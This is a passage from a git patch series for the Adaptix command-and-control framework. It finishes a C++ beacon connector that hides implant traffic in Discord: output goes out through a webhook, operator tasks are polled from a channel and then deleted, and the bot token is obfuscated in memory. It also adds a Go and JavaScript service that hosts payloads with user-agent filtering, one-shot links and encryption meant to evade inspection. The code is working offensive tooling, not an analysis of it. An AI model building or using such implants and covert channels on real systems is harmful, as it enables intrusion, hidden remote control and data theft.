PollTasks GET failed or empty"); + if (resp) this->functions->LocalFree(resp); + } + return; + } + + DBG("[*] Discord: PollTasks got %lu bytes", respLen); + + // Discord returns a JSON array: [{"id":"...","content":"..."},...] + // We iterate finding "content":" and "id":" pairs + // Messages are newest-first, so we process in reverse order for correct ordering + + // First pass: count messages and collect their content+id + // Simple approach: find all "content":"..." values and "id":"..." values + + // Collect message IDs for cleanup + #define MAX_DISCORD_MSGS 10 + CHAR* msgIds[MAX_DISCORD_MSGS]; + CHAR* msgContents[MAX_DISCORD_MSGS]; + ULONG msgContentLens[MAX_DISCORD_MSGS]; + ULONG msgIdLens[MAX_DISCORD_MSGS]; + int msgCount = 0; + + memset(msgIds, 0, sizeof(msgIds)); + memset(msgContents, 0, sizeof(msgContents)); + memset(msgContentLens, 0, sizeof(msgContentLens)); + memset(msgIdLens, 0, sizeof(msgIdLens)); + + // Parse JSON array — find each object delimited by { } + const CHAR* jsonStr = (const CHAR*) resp; + ULONG searchPos = 0; + + while (searchPos < respLen && msgCount < MAX_DISCORD_MSGS) { + // Find next '{' + ULONG objStart = searchPos; + while (objStart < respLen && jsonStr[objStart] != '{') + objStart++; + if (objStart >= respLen) + break; + + // Find matching '}' (simple — no nested objects in Discord message content) + ULONG objEnd = objStart + 1; + int depth = 1; + while (objEnd < respLen && depth > 0) { + if (jsonStr[objEnd] == '{') depth++; + else if (jsonStr[objEnd] == '}') depth--; + objEnd++; + } + + ULONG objLen = objEnd - objStart; + + // Extract "id" and "content" from this object + ULONG idLen = 0, contentLen = 0; + CHAR* id = this->ExtractJsonString(jsonStr + objStart, objLen, "id", &idLen); + CHAR* content = this->ExtractJsonString(jsonStr + objStart, objLen, "content", &contentLen); + + if (content && contentLen > 0) { + msgIds[msgCount] = id; + msgIdLens[msgCount] = idLen; + msgContents[msgCount] = content; + msgContentLens[msgCount] = contentLen; + msgCount++; + } else { + if (id) { memset(id, 0, idLen); this->functions->LocalFree(id); } + if (content) { memset(content, 0, contentLen); this->functions->LocalFree(content); } + } + + searchPos = objEnd; + } + + if (msgCount == 0) { + DBG("[*] Discord: PollTasks no valid messages found"); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + return; + } + + DBG("[*] Discord: PollTasks found %d messages", msgCount); + + // Process messages in reverse order (oldest first, Discord returns newest-first) + // Base64-decode each content and concatenate + BYTE* accumBuf = NULL; + ULONG accumLen = 0; + + for (int i = msgCount - 1; i >= 0; i--) { + if (!msgContents[i] || msgContentLens[i] == 0) + continue; + + // Validate base64 + int decSize = b64_decoded_size(msgContents[i]); + if (decSize <= 0) + continue; + + BYTE* decBuf = (BYTE*) this->functions->LocalAlloc(LPTR, decSize); + if (!b64_decode(msgContents[i], decBuf, decSize)) { + this->functions->LocalFree(decBuf); + continue; + } + + // Append to accumulator + if (!accumBuf) { + accumBuf = decBuf; + accumLen = decSize; + } else { + BYTE* newBuf = (BYTE*) this->functions->LocalAlloc(LPTR, accumLen + decSize); + memcpy(newBuf, accumBuf, accumLen); + memcpy(newBuf + accumLen, decBuf, decSize); + memset(accumBuf, 0, accumLen); + this->functions->LocalFree(accumBuf); + memset(decBuf, 0, decSize); + this->functions->LocalFree(decBuf); + accumBuf = newBuf; + accumLen += decSize; + } + } + + // Set received data + if (accumBuf && accumLen > 0) { + this->recvData = accumBuf; + this->recvSize = (int) accumLen; + DBG("[+] Discord: PollTasks decoded %lu bytes from %d messages", accumLen, msgCount); + } + + // Cleanup: delete messages if configured + if (this->profile.cleanup) { + for (int i = 0; i < msgCount; i++) { + if (msgIds[i] && msgIdLens[i] > 0) + this->DeleteMessage(msgIds[i]); + } + } + + // Free message strings + for (int i = 0; i < msgCount; i++) { + if (msgIds[i]) { + memset(msgIds[i], 0, msgIdLens[i]); + this->functions->LocalFree(msgIds[i]); + } + if (msgContents[i]) { + memset(msgContents[i], 0, msgContentLens[i]); + this->functions->LocalFree(msgContents[i]); + } + } + + // Free raw response + memset(resp, 0, respLen); + this->functions->LocalFree(resp); +} + + +// ============================================================================ +// SendData — POST data to webhook, then poll tasks channel +// +// Flow matches ConnectorHTTP::SendData(): +// 1. If data != NULL, base64-encode and POST via webhook +// 2. Poll tasks channel for inbound commands (GET + parse + decode) +// ============================================================================ + +void ConnectorDiscord::SendData(BYTE* data, ULONG data_size) +{ + this->recvSize = 0; + this->recvData = NULL; + + // 1. Send outbound data via webhook + // Format: base64(beat) + "\n" + base64(body) [or just base64(beat) if no body] + // The listener expects beat in every message for agent identification + { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + LPSTR encData = (data && data_size > 0) ? b64_encode(data, data_size) : NULL; + + if (encBeat) { + DWORD beatLen = _slen(encBeat); + DWORD bodyLen = encData ? _slen(encData) : 0; + + // Discord message limit is 2000 chars. + // Each message contains: beat|body_chunk (beat repeated in every message) + // This way the listener can process each message independently. + DWORD maxBodyPerMsg = 1900 - beatLen - 1; // reserve space for beat + '|' + if (maxBodyPerMsg < 100) maxBodyPerMsg = 100; + + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + auto ctHeader = OBF("Content-Type: application/json\r\n"); + DWORD preLen = _slen(jPre); + DWORD sufLen = _slen(jSuf); + + DWORD bodyOffset = 0; + BOOL firstChunk = TRUE; + + do { + // Build message content: beat|body_chunk (or just beat if no body) + DWORD chunkLen = 0; + if (bodyLen > 0 && bodyOffset < bodyLen) { + chunkLen = bodyLen - bodyOffset; + if (chunkLen > maxBodyPerMsg) chunkLen = maxBodyPerMsg; + } + + DWORD contentLen = beatLen + (chunkLen > 0 ? 1 + chunkLen : 0); + LPSTR content = (LPSTR) this->functions->LocalAlloc(LPTR, contentLen + 1); + DWORD coff = 0; + _scopy(content + coff, encBeat, beatLen); coff += beatLen; + if (chunkLen > 0) { + content[coff++] = '|'; + _scopy(content + coff, encData + bodyOffset, chunkLen); coff += chunkLen; + } + content[coff] = 0; + + // Build JSON + ULONG jsonLen = preLen + contentLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD joff = 0; + _scopy((CHAR*)jsonBuf + joff, jPre, preLen); joff += preLen; + _scopy((CHAR*)jsonBuf + joff, content, contentLen); joff += contentLen; + _scopy((CHAR*)jsonBuf + joff, jSuf, sufLen); joff += sufLen; + jsonBuf[joff] = 0; + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost2 = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost2, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: POST chunk bodyOff=%lu chunkLen=%lu -> %s", bodyOffset, chunkLen, ok ? "OK" : "FAIL"); + + if (resp) { memset(resp, 0, respLen); this->functions->LocalFree(resp); } + memset(jsonBuf, 0, jsonLen); this->functions->LocalFree(jsonBuf); + memset(content, 0, contentLen); this->functions->LocalFree(content); + + bodyOffset += chunkLen; + + // Rate limit delay between chunks + if (bodyOffset < bodyLen) { + ApiWin->Sleep(500); + } + + firstChunk = FALSE; + } while (bodyLen > 0 && bodyOffset < bodyLen); + + memset(encBeat, 0, beatLen); this->functions->LocalFree(encBeat); + if (encData) { memset(encData, 0, bodyLen); this->functions->LocalFree(encData); } + } + } + + // 2. Wait for the listener to process our message and post tasks + // The listener polls every poll_interval seconds, so we wait at least that long + { + ULONG waitMs = (this->profile.poll_interval + 3) * 1000; // poll + 3s processing margin + if (waitMs < 4000) waitMs = 4000; + if (waitMs > 30000) waitMs = 30000; + DBG("[*] Discord: waiting %lu ms for listener to process...", waitMs); + ApiWin->Sleep(waitMs); + } + + // 3. Poll tasks channel for inbound commands + this->PollTasks(); +} + + +// ============================================================================ +// RecvData / RecvSize / RecvClear +// ============================================================================ + +BYTE* ConnectorDiscord::RecvData() +{ + return this->recvData; +} + +int ConnectorDiscord::RecvSize() +{ + return this->recvSize; +} + +void ConnectorDiscord::RecvClear() +{ + if (this->recvData && this->recvSize) { + memset(this->recvData, 0, this->recvSize); + this->functions->LocalFree(this->recvData); + this->recvData = NULL; + } + this->recvSize = 0; +} + + +// ============================================================================ +// CloseConnector — cleanup all resources +// ============================================================================ + +void ConnectorDiscord::CloseConnector() +{ + if (this->hSession) { + this->functions->InternetCloseHandle(this->hSession); + this->hSession = NULL; + } + + if (this->beatData) { + memset(this->beatData, 0, this->beatSize); + this->functions->LocalFree(this->beatData); + this->beatData = NULL; + this->beatSize = 0; + } + + if (this->tokenObf) { + memset(this->tokenObf, 0, this->tokenObfLen); + this->functions->LocalFree(this->tokenObf); + this->tokenObf = NULL; + this->tokenObfLen = 0; + } + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + if (this->functions) { + memset(this->functions, 0, sizeof(DISCORDFUNC)); + // functions was allocated with LocalAlloc inside constructor, + // but ApiWin may be gone at this point; skip free + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h new file mode 100644 index 000000000..a68369a16 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.h @@ -0,0 +1,79 @@ +#pragma once + +#include +#include +#include "AgentConfig.h" // ProfileDiscord defined here + +#define DECL_API(x) decltype(x) * x + +struct DISCORDFUNC { + DECL_API(LocalAlloc); + DECL_API(LocalReAlloc); + DECL_API(LocalFree); + DECL_API(LoadLibraryA); + DECL_API(GetLastError); + + DECL_API(InternetOpenA); + DECL_API(InternetConnectA); + DECL_API(HttpOpenRequestA); + DECL_API(HttpSendRequestA); + DECL_API(InternetSetOptionA); + DECL_API(InternetQueryOptionA); + DECL_API(HttpQueryInfoA); + DECL_API(InternetQueryDataAvailable); + DECL_API(InternetCloseHandle); + DECL_API(InternetReadFile); +}; + +class ConnectorDiscord +{ + // WinInet session (recreated per-request for OPSEC) + HINTERNET hSession; + + // Discord API paths parsed from config + CHAR discordHost[128]; // "discord.com" + CHAR webhookPath[512]; // "/api/webhooks/xxx/yyy" + CHAR tasksPath[256]; // "/api/v10/channels/{id}/messages?limit=10" + CHAR authHeader[256]; // "Bot " + + // XOR key for bot_token in-memory obfuscation + BYTE tokenXorKey[32]; + BYTE* tokenObf; + ULONG tokenObfLen; + + // Response buffer + BYTE* recvData; + int recvSize; + + // Config + ProfileDiscord profile; + BYTE* beatData; + ULONG beatSize; + BOOL beatSent; + + DISCORDFUNC* functions; + + // Helpers + BOOL HttpsRequest(const CHAR* method, const CHAR* path, const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, BYTE** outBuf, ULONG* outLen); + void ParseWebhookUrl(const CHAR* url); + void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen); + CHAR* ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen); + CHAR* ExtractJsonArray(const CHAR* json, ULONG jsonLen, ULONG* outLen); + void DeleteMessage(const CHAR* messageId); + void DeobfuscateToken(CHAR* out, ULONG outSize); + void PollTasks(); + +public: + ConnectorDiscord(); + + BOOL SetConfig(ProfileDiscord profile, BYTE* beat, ULONG beatSize); + void CloseConnector(); + + void SendData(BYTE* data, ULONG data_size); + BYTE* RecvData(); + int RecvSize(); + void RecvClear(); + + static void* operator new(size_t sz); + static void operator delete(void* p) noexcept; +}; From bc8aec9d2d78b8de3296459829d441e99e1e13f5 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:46:50 +0200 Subject: [PATCH 05/11] feat: add hosting service extender Web hosting service for serving payloads, files, and static content through the Adaptix teamserver infrastructure. --- .../extenders/hosting_service/Makefile | 9 + .../extenders/hosting_service/ax_config.axs | 320 +++++++++ .../extenders/hosting_service/config.yaml | 5 + .../extenders/hosting_service/go.mod | 5 + .../extenders/hosting_service/pl_main.go | 652 ++++++++++++++++++ 5 files changed, 991 insertions(+) create mode 100644 AdaptixServer/extenders/hosting_service/Makefile create mode 100644 AdaptixServer/extenders/hosting_service/ax_config.axs create mode 100644 AdaptixServer/extenders/hosting_service/config.yaml create mode 100644 AdaptixServer/extenders/hosting_service/go.mod create mode 100644 AdaptixServer/extenders/hosting_service/pl_main.go diff --git a/AdaptixServer/extenders/hosting_service/Makefile b/AdaptixServer/extenders/hosting_service/Makefile new file mode 100644 index 000000000..13d860e2c --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building hosting service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_hosting.so pl_main.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/hosting_service/ax_config.axs b/AdaptixServer/extenders/hosting_service/ax_config.axs new file mode 100644 index 000000000..0fbb71fa4 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/ax_config.axs @@ -0,0 +1,320 @@ +/// Hosting Service - UI + +let hostingDock = null; +let hostingTable = null; +let filesData = []; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createHostingDock(); + loadFiles(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "files") { + filesData = json.data || []; + refreshTable(); + } + else if (msgType === "url") { + ax.clipboard_set(json.data.url); + ax.show_message("Hosting", "URL copied to clipboard:\n" + json.data.url); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Hosting Error", json.message); + } + } catch (e) { + ax.log_error("Hosting: parse error: " + e); + } +} + +// ============================================================================ +// Hosting Dock +// ============================================================================ + +function createHostingDock() { + hostingDock = form.create_ext_dock("hosting_files", "Hosted Files", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnAdd = form.create_button("Add File"); + let btnDelete = form.create_button("Delete"); + let btnToggle = form.create_button("Toggle"); + let btnCopyURL = form.create_button("Copy URL"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnAdd); + toolbar.addWidget(btnToggle); + toolbar.addWidget(btnCopyURL); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + hostingTable = form.create_table(["Path", "Filename", "MIME", "Size", "Downloads", "Status", "Created By", "Created"]); + hostingTable.setSortingEnabled(true); + hostingTable.setReadOnly(true); + mainLayout.addWidget(hostingTable); + + hostingDock.setLayout(mainLayout); + hostingDock.setSize(1000, 400); + hostingDock.show(); + + // Signals + form.connect(btnAdd, "clicked", function() { + showAddFileDialog(); + }); + + form.connect(btnDelete, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + if (ax.prompt_confirm("Delete File", "Remove this hosted file?")) { + ax.service_command("Hosting", "delete", {id: fid}); + } + } + }); + + form.connect(btnToggle, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + ax.service_command("Hosting", "toggle", {id: fid}); + } + }); + + form.connect(btnCopyURL, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + ax.service_command("Hosting", "copyurl", {id: fid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadFiles(); + }); +} + +// ============================================================================ +// Add File Dialog +// ============================================================================ + +function showAddFileDialog() { + let dialog = form.create_dialog("Host File"); + dialog.setSize(600, 500); + + let pageLayout = form.create_vlayout(); + + // --- File Selection --- + let fileGrid = form.create_gridlayout(); + + let txtFilePath = form.create_textline(""); + txtFilePath.setPlaceholder("Select a file to host..."); + txtFilePath.setReadOnly(true); + let btnBrowse = form.create_button("Browse"); + let fileRow = form.create_hlayout(); + fileRow.addWidget(txtFilePath); + fileRow.addWidget(btnBrowse); + let filePanel = form.create_panel(); + filePanel.setLayout(fileRow); + + fileGrid.addWidget(form.create_label("File *"), 0, 0); + fileGrid.addWidget(filePanel, 0, 1); + + let txtPath = form.create_textline(""); + txtPath.setPlaceholder("/downloads/payload.exe"); + fileGrid.addWidget(form.create_label("URL Path"), 1, 0); + fileGrid.addWidget(txtPath, 1, 1); + + let txtMime = form.create_textline("application/octet-stream"); + fileGrid.addWidget(form.create_label("MIME Type"), 2, 0); + fileGrid.addWidget(txtMime, 2, 1); + + let fileInner = form.create_panel(); + fileInner.setLayout(fileGrid); + let grpFile = form.create_groupbox("File", false); + grpFile.setPanel(fileInner); + pageLayout.addWidget(grpFile); + + // --- Protections --- + let protGrid = form.create_gridlayout(); + + let chkOneShot = form.create_check("One-shot (auto-disable after first download)"); + protGrid.addWidget(chkOneShot, 0, 0, 1, 2); + + let chkEncrypt = form.create_check("AES-256-CBC encrypt content (key in X-Enc-Key header)"); + protGrid.addWidget(chkEncrypt, 1, 0, 1, 2); + + let txtUA = form.create_textline(""); + txtUA.setPlaceholder("Mozilla.*Windows.* (regex, empty = allow all)"); + protGrid.addWidget(form.create_label("UA Filter"), 2, 0); + protGrid.addWidget(txtUA, 2, 1); + + let spinMaxDL = form.create_spin(); + spinMaxDL.setRange(0, 999999); + spinMaxDL.setValue(0); + let maxDLRow = form.create_hlayout(); + maxDLRow.addWidget(spinMaxDL); + maxDLRow.addWidget(form.create_label(" 0 = unlimited")); + let maxDLPanel = form.create_panel(); + maxDLPanel.setLayout(maxDLRow); + protGrid.addWidget(form.create_label("Max Downloads"), 3, 0); + protGrid.addWidget(maxDLPanel, 3, 1); + + let txtExpiry = form.create_textline(""); + txtExpiry.setPlaceholder("2025-12-31T23:59:59 (empty = no expiration)"); + protGrid.addWidget(form.create_label("Expires At"), 4, 0); + protGrid.addWidget(txtExpiry, 4, 1); + + let protInner = form.create_panel(); + protInner.setLayout(protGrid); + let grpProt = form.create_groupbox("Protections", false); + grpProt.setPanel(protInner); + pageLayout.addWidget(grpProt); + + pageLayout.addWidget(form.create_vspacer()); + + dialog.setLayout(pageLayout); + + // Browse button + let selectedFilePath = ""; + form.connect(btnBrowse, "clicked", function() { + let path = ax.prompt_open_file("Select file to host", "All Files (*)"); + if (path) { + selectedFilePath = path; + txtFilePath.setText(path); + // Auto-fill path from filename + let parts = path.replace(/\\/g, "/").split("/"); + let fname = parts[parts.length - 1]; + if (!txtPath.text()) { + txtPath.setText("/" + fname); + } + } + }); + + let accepted = dialog.exec(); + if (accepted === true) { + if (!selectedFilePath) { + ax.show_message("Error", "Please select a file to host"); + return; + } + + let content = ax.file_read_base64(selectedFilePath); + if (!content) { + ax.show_message("Error", "Failed to read file"); + return; + } + + let parts = selectedFilePath.replace(/\\/g, "/").split("/"); + let fname = parts[parts.length - 1]; + + let req = { + filename: fname, + content: content, + path: txtPath.text(), + mime_type: txtMime.text(), + one_shot: chkOneShot.isChecked(), + encrypted: chkEncrypt.isChecked(), + ua_filter: txtUA.text(), + max_downloads: spinMaxDL.value(), + expires_at: txtExpiry.text() + }; + + ax.service_command("Hosting", "add", req); + } +} + +// ============================================================================ +// Table Helpers +// ============================================================================ + +function refreshTable() { + if (!hostingTable) return; + + hostingTable.setRowCount(0); + if (!filesData) return; + + for (let i = 0; i < filesData.length; i++) { + let f = filesData[i]; + let created = f.created_at ? f.created_at : ""; + let status = f.enabled ? "Active" : "Disabled"; + let dlStr = String(f.downloads || 0); + if (f.max_downloads > 0) { + dlStr += " / " + String(f.max_downloads); + } + + let sizeStr = formatSize(f.content_size || 0); + + hostingTable.addItem([ + f.path || "", + f.filename || "", + f.mime_type || "", + sizeStr, + dlStr, + status, + f.created_by || "", + created + ]); + } +} + +function getFileIDByRow(row) { + if (!filesData || row < 0 || row >= filesData.length) return null; + return filesData[row].id; +} + +function formatSize(bytes) { + if (bytes === 0) return "0 B"; + let units = ["B", "KB", "MB", "GB"]; + let i = 0; + let size = bytes; + while (size >= 1024 && i < units.length - 1) { + size = size / 1024; + i++; + } + if (i === 0) return String(size) + " B"; + return size.toFixed(1) + " " + units[i]; +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (eventType === "download") { + // Reload file list to reflect updated download count + loadFiles(); + } +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadFiles() { + ax.service_command("Hosting", "list", {}); +} diff --git a/AdaptixServer/extenders/hosting_service/config.yaml b/AdaptixServer/extenders/hosting_service/config.yaml new file mode 100644 index 000000000..cca80d930 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_hosting.so" +ax_file: "ax_config.axs" +service_name: "Hosting" +service_config: "" diff --git a/AdaptixServer/extenders/hosting_service/go.mod b/AdaptixServer/extenders/hosting_service/go.mod new file mode 100644 index 000000000..55d4822e5 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_hosting + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/hosting_service/pl_main.go b/AdaptixServer/extenders/hosting_service/pl_main.go new file mode 100644 index 000000000..911c2107d --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/pl_main.go @@ -0,0 +1,652 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "net/http" + "regexp" + "strings" + "sync" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Hosting" +const ExtenderName = "hosting_service" + +// ============================================================================ +// Data Model +// ============================================================================ + +type HostedFile struct { + ID string `json:"id"` + Path string `json:"path"` + Filename string `json:"filename"` + MimeType string `json:"mime_type"` + ContentSize int `json:"content_size"` + Encrypted bool `json:"encrypted"` + EncKey string `json:"enc_key,omitempty"` + UAFilter string `json:"ua_filter"` + OneShot bool `json:"one_shot"` + MaxDownloads int `json:"max_downloads"` + Downloads int `json:"downloads"` + ExpiresAt string `json:"expires_at"` + Enabled bool `json:"enabled"` + CreatedBy string `json:"created_by"` + CreatedAt string `json:"created_at"` +} + +// ============================================================================ +// Service struct +// ============================================================================ + +type HostingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + files map[string]*HostedFile +} + +var ( + Ts Teamserver + ModuleDir string + Service *HostingService +) + +// ============================================================================ +// Plugin Entry Points +// ============================================================================ + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &HostingService{ + ts: Ts, + moduleDir: moduleDir, + files: make(map[string]*HostedFile), + } + + Service.restoreFiles() + + return Service +} + +func (s *HostingService) Call(operator string, function string, args string) { + switch function { + + case "list": + s.HandleList(operator) + + case "add": + s.HandleAdd(operator, args) + + case "delete": + s.HandleDelete(operator, args) + + case "toggle": + s.HandleToggle(operator, args) + + case "copyurl": + s.HandleCopyURL(operator, args) + + case "host_payload": + s.HandleHostPayload(operator, args) + } +} + +// ============================================================================ +// Helpers: responses +// ============================================================================ + +func (s *HostingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +func (s *HostingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +func (s *HostingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +func (s *HostingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// ============================================================================ +// Helpers: ID generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generatePath() string { + b := make([]byte, 8) + rand.Read(b) + return "/" + hex.EncodeToString(b) +} + +// ============================================================================ +// Handlers +// ============================================================================ + +func (s *HostingService) HandleList(operator string) { + s.mu.RLock() + defer s.mu.RUnlock() + + var list []HostedFile + for _, f := range s.files { + list = append(list, *f) + } + s.sendResponseClient(operator, "files", list) +} + +func (s *HostingService) HandleAdd(operator string, args string) { + var req struct { + Filename string `json:"filename"` + Content string `json:"content"` // base64 + Path string `json:"path"` + MimeType string `json:"mime_type"` + OneShot bool `json:"one_shot"` + Encrypted bool `json:"encrypted"` + UAFilter string `json:"ua_filter"` + MaxDownloads int `json:"max_downloads"` + ExpiresAt string `json:"expires_at"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request: "+err.Error()) + return + } + + if req.Content == "" { + s.sendError(operator, "No file content provided") + return + } + + content, err := base64.StdEncoding.DecodeString(req.Content) + if err != nil { + s.sendError(operator, "Invalid base64 content: "+err.Error()) + return + } + + s.addFile(operator, req.Filename, content, req.Path, req.MimeType, req.OneShot, req.Encrypted, req.UAFilter, req.MaxDownloads, req.ExpiresAt) +} + +func (s *HostingService) HandleHostPayload(operator string, args string) { + var req struct { + Filename string `json:"filename"` + Content string `json:"content"` // base64 + Path string `json:"path"` + MimeType string `json:"mime_type"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid host_payload request: "+err.Error()) + return + } + + content, err := base64.StdEncoding.DecodeString(req.Content) + if err != nil { + s.sendError(operator, "Invalid base64 content: "+err.Error()) + return + } + + mime := req.MimeType + if mime == "" { + mime = "application/octet-stream" + } + + s.addFile(operator, req.Filename, content, req.Path, mime, false, false, "", 0, "") +} + +func (s *HostingService) addFile(operator, filename string, content []byte, path, mimeType string, oneShot, encrypted bool, uaFilter string, maxDownloads int, expiresAt string) { + id := generateID() + + if path == "" { + path = generatePath() + } + if !strings.HasPrefix(path, "/") { + path = "/" + path + } + if mimeType == "" { + mimeType = "application/octet-stream" + } + + // Check path collision + s.mu.RLock() + for _, f := range s.files { + if f.Path == path { + s.mu.RUnlock() + s.sendError(operator, "Path already in use: "+path) + return + } + } + s.mu.RUnlock() + + // Check if endpoint already registered externally + if s.ts.TsEndpointExistsPublic("GET", path) { + s.sendError(operator, "Endpoint already exists: "+path) + return + } + + var encKey string + storedContent := content + + if encrypted { + key := make([]byte, 32) + rand.Read(key) + encKey = hex.EncodeToString(key) + + encData, err := aesEncrypt(content, key) + if err != nil { + s.sendError(operator, "AES encryption failed: "+err.Error()) + return + } + storedContent = encData + } + + hf := &HostedFile{ + ID: id, + Path: path, + Filename: filename, + MimeType: mimeType, + ContentSize: len(content), + Encrypted: encrypted, + EncKey: encKey, + UAFilter: uaFilter, + OneShot: oneShot, + MaxDownloads: maxDownloads, + Downloads: 0, + ExpiresAt: expiresAt, + Enabled: true, + CreatedBy: operator, + CreatedAt: time.Now().Format("2006-01-02 15:04:05"), + } + + // Save metadata + metaJSON, err := json.Marshal(hf) + if err != nil { + s.sendError(operator, "Failed to marshal metadata: "+err.Error()) + return + } + if err := s.ts.TsExtenderDataSave(ExtenderName, "meta:"+id, metaJSON); err != nil { + s.sendError(operator, "Failed to save metadata: "+err.Error()) + return + } + + // Save content + if err := s.ts.TsExtenderDataSave(ExtenderName, "data:"+id, storedContent); err != nil { + s.sendError(operator, "Failed to save content: "+err.Error()) + return + } + + // Register endpoint + s.registerEndpoint(hf) + + s.mu.Lock() + s.files[id] = hf + s.mu.Unlock() + + // Broadcast updated file list + s.broadcastFiles() +} + +func (s *HostingService) HandleDelete(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.Unlock() + s.sendError(operator, "File not found") + return + } + + path := hf.Path + delete(s.files, req.ID) + s.mu.Unlock() + + // Unregister endpoint + s.ts.TsEndpointUnregisterPublic("GET", path) + + // Delete from storage + s.ts.TsExtenderDataDelete(ExtenderName, "meta:"+req.ID) + s.ts.TsExtenderDataDelete(ExtenderName, "data:"+req.ID) + + s.broadcastFiles() +} + +func (s *HostingService) HandleToggle(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + hf, ok := s.files[req.ID] + if !ok { + s.mu.Unlock() + s.sendError(operator, "File not found") + return + } + + 